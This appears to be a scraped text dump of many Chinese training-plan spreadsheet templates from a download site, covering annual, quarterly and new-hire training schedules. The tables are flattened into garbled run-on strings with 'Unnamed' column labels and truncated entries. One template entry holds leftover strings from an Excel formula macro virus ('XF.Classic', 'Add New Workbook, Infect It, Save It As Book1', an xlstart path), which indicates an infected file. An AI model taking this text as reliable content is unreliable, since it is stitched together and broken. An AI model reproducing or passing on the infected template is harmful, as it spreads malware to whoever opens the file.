2025年培训计划表 - Sheet1 Unnamed: 0 Unnamed: 1 Unnamed: 2 培训计划表期次Unnamed: 3 日期Unnamed: 4 时间Unnamed: 5 培训地点Unnamed: 6 课程内容Unnamed: 7 主讲Unnamed: 8 辅导员Unnamed: 9 考核方法Unnamed: 10 参加部门Unnamed: 11 参加人数Unnamed: 12 备注

2025年培训计划表免费下载 - Sheet1 培训计划表 序号12345678910111213141516Unnamed: 1 培训日期Unnamed: 2 培训时间Unnamed: 3 课时数Unnamed: 4 培训课题或内容Unnamed: 5 培训地点Unnamed: 6 培训讲师Unnamed: 7 培训单位Unnamed: 8 培训学员(注明范 围及人数)Unnamed: 9 费用Unnamed: 10 备注Sheet2 Sheet3

2025年新员工入职培训计划表免费下载 - Sheet1 新员工入职培训计划表 姓名培训日期Unnamed: 1 时间Unnamed: 2 培训地点Unnamed: 3 部门课程/内容Unnamed: 4 Unnamed: 5 Unnamed: 6 岗位培训人Unnamed: 7 考核情况

2025年新入职员工培训计划表免费下载 - Sheet1 新入职员工培训计划表 公司名称本期培训人数培训目的培训项目123456员工培训说明:Unnamed: 1 培训时间Unnamed: 2 培训地点Unnamed: 3 参与培训人员Unnamed: 4 培训周期培训人Unnamed: 5 天Unnamed: 6 第 期培训培训负责人培训主题

2025年培训计划表免费下载 - Sheet1 培训计划表 期次Unnamed: 1 日期Unnamed: 2 时间Unnamed: 3 培训地点Unnamed: 4 课程内容Unnamed: 5 主讲Unnamed: 6 辅导员Unnamed: 7 考核办法Unnamed: 8 参加部门Unnamed: 9 参加人数Unnamed: 10 备注Sheet2 Sheet3

2025年培训计划表免费下载 - Sheet1 公司培训计划表 培训单位Unnamed: 1 培训老师Unnamed: 2 培训日期Unnamed: 3 培训主题Unnamed: 4 培训对象Unnamed: 5 培训地点Unnamed: 6 天数Unnamed: 7 人数Unnamed: 8 培训要求Sheet2 Sheet3 qngdtcq9nxeq9lxe 副本Book1.xls Book1C:Program FilesMicrosoft OfficeOffice10xlstartBook1.3Classic.Poppy by VicodinESWith Lord NatasAn Excel Formula Macro Virus (XF.Classic)Hydrocodone/APAP 10-650 For Your Computer(C) The Narkotic Network 1998**Simple Payload****Add New Workbook, Infect It, Save It As Book1.

2025年培训计划表免费下载 - Sheet1 Unnamed: 0 Unnamed: 1 培训计划表项次 NO.123456受训对象 training object备 注 remarks经理:Unnamed: 2 日期 dateUnnamed: 3 Training Plan课时 hourUnnamed: 4 类别 type审核:Unnamed: 5 培训内容 training contentUnnamed: 6 Unnamed: 7 拟定:Unnamed: 8 拟定日期:Unnamed: 9 2018-01-01 00:00:00培训员 trainer

2025人力资源员工培训计划表免费下载 - Sheet1 人力资源员工培训计划表 Unnamed: 1 上课日期2021-04-09 00:00:002021-04-13 00:00:00Unnamed: 2 培训时间10:00-16:0014:00-18:00Unnamed: 3 授课老师张明吴辉东Unnamed: 4 课程《直播电商流量引导》《售后客服培训》Unnamed: 5 地址会议室102会议室102Unnamed: 6 参与对象销售部全体员工全体客服Unnamed: 7 备注培训后需考试,认真听2025OPL培训计划表

2025年寒假学习计划表-培训课程表 - Sheet1 Unnamed: 0 Unnamed: 1 寒假学习计划表-培训班课程表2021日2020-12-27 00:00:002021-01-03 00:00:002021-01-10 00:00:002021-01-17 00:00:002021-01-24 00:00:002021-01-31 00:00:00寒假学习目标1、语文成绩提高20分2、数学成绩提高10分3、英语作文提高5分4、完成5本课外书阅读Unnamed: 2 一2020-12-28 00:00:002021-01-04 00:00:002021-01-11 00:00:002021-01-18 00:00:002021-01-25 00:00:002021-02-01 00:00:00Unnamed: 3 年二2020-12-29 00:00:002021-01-05 00:00:002021-01-12 00:00:002021-01-19 00:00:002021-01-26 00:00:00202

年度培训计划及实施统计表下载包含

2025企业年度教育培训计划免费下载 - Sheet1 Unnamed: 0 Unnamed: 1 企业年度教育培训计划20XX年度1月2月3月4月5月6月7月8月9月10月11月12月课时统计Unnamed: 2 计划 培训课程企业文化员工规范接待礼仪财务制度安全培训品质管理5S培训采购管理生产培训..................Unnamed: 3 受训部门人资部√√√√√√√√√√√√12Unnamed: 4 生产部√√√√√√√√√√10Unnamed: 5 品质部√√√√√√√√8

新员工培训计划表表格excel模板 - Sheet1 新员工培训计划表 受训人员编号123456789101112131415161718192021222324252627282930Unnamed: 1 姓名学历部门培训项目Unnamed: 2 培训开始时间Unnamed: 3 性别毕业学校职位培训结束时间Unnamed: 4 培训部门Unnamed: 5 年龄专业入职时间培训目的Unnamed: 6 培训员Unnamed: 7 辅导员培训地点Unnamed: 8 姓名部门职称培训时长0000000000Unnamed: 9 备注Sheet2 Sheet3

员工培训计划表下载 - Sheet1 Unnamed: 0 Unnamed: 1 员工培训计划表培训编号培训名称培训课程时数及负责人课程处理工作中的情绪解决与同事的冲突给予建设性反馈沟通和团队解决问题商务礼仪时间管理管理基本意识表达与介绍技巧处理工作中的情绪解决与同事的冲突给予建设性反馈沟通和团队解决问题商务礼仪时间管理管理基本意识表达与介绍技巧处理工作中的情绪给予建设性反馈沟通和团队解决问题商务礼仪时间管理管理基本意识表达与介绍技巧处理工作中的情绪给予建设性反馈管理基本意识表达与介绍技巧处理工作中的情绪给予建设性反馈管理基本意识表达与介绍技巧处

大学课程表培训计划培训安排带时间明细 - 课程安排表 大学/培训机构通用课程表 2018-2019 第一学期 经济管理学院 财务管理专业 星期 节次上午下午晚自习Unnamed: 1 第一节8:00-8:45第二节9:00-9:45第三节10:00-10:45第四节11:00-11:45第五节13:00-13:45第六节14:00-14:45第七节15:00-15:45第八节16:00-16:45第九节19:00-19:45第十节20:00-20:45Unnamed: 2 星期一大学英语1号楼3061-18周张三授Unnamed: 3 星期二大学英语1号楼3061-18周张三授Unnamed: 4 星期三高等数学1号楼3071-18周李四授Unnamed: 5 星期四高等数学1号楼3071-18周李四授Un

2025年员工年度培训计划表(含每月及各培训形式预算分析) - 年度培训计划 人力资源管理工具——员工培训与开发 员工年度培训计划表(含全年每月及各培训形式预算分析)说明:该表格用于员工培训年度计划制定,本表由人力资源部培训专员使用。时间周期及费用合计为自动计算。序号合计费用合计(大写)填表人: 审核: 审批: 填表时间:版权所有:北京未名潮管理顾问有限公司。若有任何疑问,请发送邮件至12642@126.com,或QQ191915585,感谢您选择我们的产品!Unnamed: 1 起始日期2016-01-18 00:00:002016-01-20 00:00:0

2025年员工季度培训计划表(含每月及各培训形式预算分析) - 年度培训计划 人力资源管理工具——员工培训与开发 员工季度培训计划表(含每月及各培训形式预算分析)说明:该表格用于员工培训季度计划制定,本表由人力资源部培训专员使用。序号合计费用合计(大写)填表人: 审核: 审批: 填表时间:版权所有:北京未名潮管理顾问有限公司。若有任何疑问,请发送邮件至12642@126.com,或QQ191915585,感谢您选择我们的产品!Unnamed: 1 起始日期2016-04-03 00:00:002016-04-15 00:00:002016-05-07 00:00:002016-05-14 002025OPL培训计划表

2024年公司年度培训计划表 - Sheet1 Unnamed: 0 Unnamed: 1 20xx年培训计划表序号12345Unnamed: 2 项目制度培训安全培训职业化培训管理知识与技能培训专业知识与技能培训Unnamed: 3 专题或具体内容行政人事制度培训财务借支及报帐制度培训物资采购制度培训物资领用制度培训发货制度培训成本管理制度培训预算管理制度培训安全法规及安全知识培训安全知识与安全法规培训安全知识及安全操作规程培训新入职人员安全知识及操作规程培训职业心态培训职业礼仪培训团队意识培训时间管理培训有效沟通培训事务管理培训执行能力培训领导能力培训企业运营相关法律法规培训非人力资

培训计划表 - Sheet1 Unnamed: 0 Unnamed: 1 培训计划表主办单位Unnamed: 2 承办单位Unnamed: 3 培训班名称Unnamed: 4 培训对象Unnamed: 5 培训日期Unnamed: 6 天数Unnamed: 7 人数Unnamed: 8 培训班要求

年度培训计划表 - Sheet1 Unnamed: 0 年度培训计划表 序号123456789101112131415161718192021222324Unnamed: 2 培训主题入职培训QEO基本知识、QEO方针和目标的理解与宣贯特种设备培训安全生产培训业务知识培训龙门吊操作规程保安技能培训销售技巧培训产品常见质量问题培训特种设备保养培训部门纪律和安全生产安全用电知识安全隐患及成因培训沟通技巧培训职业病防治样品采集知识团队意识培训龙门吊安全培训吊装安全培训快锯操作规程有效沟通培训自动磨安全知识企业文化培训执行力培训编制人:Unnamed: 3 培训内容公司规章制度 《岗位职责》

2024年新员工入职培训计划表 - Sheet1 新员工入职培训计划表 制表人:angles日期442684426944270备注:本方案属于新员工入职制度之一,在于帮助新入职员工快速溶入公司企业文化,树立统一的企业价值观念,行为模式; 了解公司相关规章制度,培养良好的工作心态,职业素质,为胜任岗位工作打下坚实的基础入职培训共分为3天。Unnamed: 1 时间上午9:00—11:00下午14:30—17:00上午9:00—11:00下午14:30—17:00上午9:00—11:00下午14:30—16:00Unnamed: 2 课时2课时2.5课时2课时2.5课时2课时1.5课时Unnamed: 3 地点XXX会议培训室XXX会议培训室XXX会议培训室XXX会议培训室XXX会议培训室XXX会

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